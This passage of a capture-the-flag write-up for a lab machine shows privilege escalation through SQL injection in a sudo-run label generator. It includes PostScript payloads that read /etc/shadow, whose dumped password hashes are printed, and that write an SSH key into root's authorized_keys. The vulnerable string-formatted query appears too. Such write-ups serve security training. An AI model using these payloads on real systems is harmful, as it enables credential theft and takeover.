host='127.0.0.1',
database='bookworm')
if len(sys.argv) != 2:
print("Usage: genlabel [orderId]")
exit()
1
2
3
4
cursor = cnx.cursor()
query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]
cursor.execute(query)
This is done in an insecure manner, and will be vulnerable to SQL injection. Let’s we inject it
SQL Injection
The Query SQL is:
1
SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s
I’ll give it a order that doesn’t exist (1111) and then use UNION injection to return a row of values I control:
sudo genlabel ‘1111 UNION SELECT 1,2,3,4,5,6,7;’
Nah Sql injection has been injected because i’ve used 1-7 numbers using Union Select and the output shows 1-7 numbers .
Postscript Write file and read
Read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
neil@bookworm:~$ sudo genlabel '1111 UNION SELECT "test)
> /inputfile (/etc/shadow)
> /inputfile (/etc/shadow) (r) file def
> inputfile 10000 string readstring
> pop
> inputfile closefile
> /outfile (output.txt) (w) file def (the output on /etc/shadow will saved as output.txt)
> outfile exch writestring
> outfile closefile
> (test", 2,3,4,5,6,7'
Fetching order...
Generating PostScript file...
Generating PDF (until the printer gets fixed...)
Documents available in /tmp/tmphllwqy1wprintgen
File i/o in postscript ost By stackoverflow to how to read files and write
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
neil@bookworm:~$ cat output.txt
root:$6$X.PJezLobVQOLuGu$nDnaPx.G5/nXr9I7WI0h8Sw0vjeFcOChirHr1s0zNyaid7X5U26fB5MXOIQB/oR4fb7xiaN/.bXdfAkGwtXL6.:19387:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
usbmux:*:19386:0:99999:7:::
sshd:*:19386:0:99999:7:::
systemd-coredump:!!:19386::::::
lxd:!:19386::::::
frank:$6$iQwYpaCFHgzFXVbi$gAKLi4oKtDPb4uaCGW3RkabZ8DyAnQfxbaqhoiAeAsGmP776eOyQt6bvYPPUJ4PAe2PJPanzm3sH5KSiqzrlF.:19387:0:99999:7:::
neil:$6$rN642RtN9dzlaylh$/7DIfm9515mWvCPWM/wL/ANkJJPtKkUNURqcmu/VseEhLch1pQgX7c3l3ij2vA3MmM3PZV5WOrLM7u3gy2V3W1:19387:0:99999:7:::
mysql:!:19387:0:99999:7:::
fwupd-refresh:*:19479:0:99999:7:::
_laurel:!:19480::::::
james:$6$m07oa4vs5KUfYS/j$SjFJnikcpxhLK5wt3cOEE218N1Bfv4M3bQyhUspkepSBzefsAKCFpXbI.JS8N/p17IaYSgG0A217veas0iSC51:19513:0:99999:7:::
Write
To get root ssh access we need upload our public keys into root authorized_keys
file
1
2
3
4
5
#!/bin/bash
sudo /usr/local/bin/genlabel "0 UNION SELECT ')
/outfile (/root/.ssh/authorized_keys) (w) file def
outfile (ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL8AxQTFZHrBYZ9uOIuCk8hfKlTI/wSJBXE5OlKEdnFQ kali@kali) writestring
outfile closefile(', '','','','','',''"
I’ve been created bash script for make work easier
1
2
3
4
5
neil@bookworm:~$ bash test.sh
Fetching order...
Generating PostScript file...
Generating PDF (until the printer gets fixed...)
Documents available in /tmp/tmp1xahbz52printgen
Successfully uploaded my public keys into root authorized_keys
file . Let’s login as root
It’s Worked !!
1
2
root@bookworm:~# cat root.txt
ef423ea57cda3a276a8d0075cf7e1926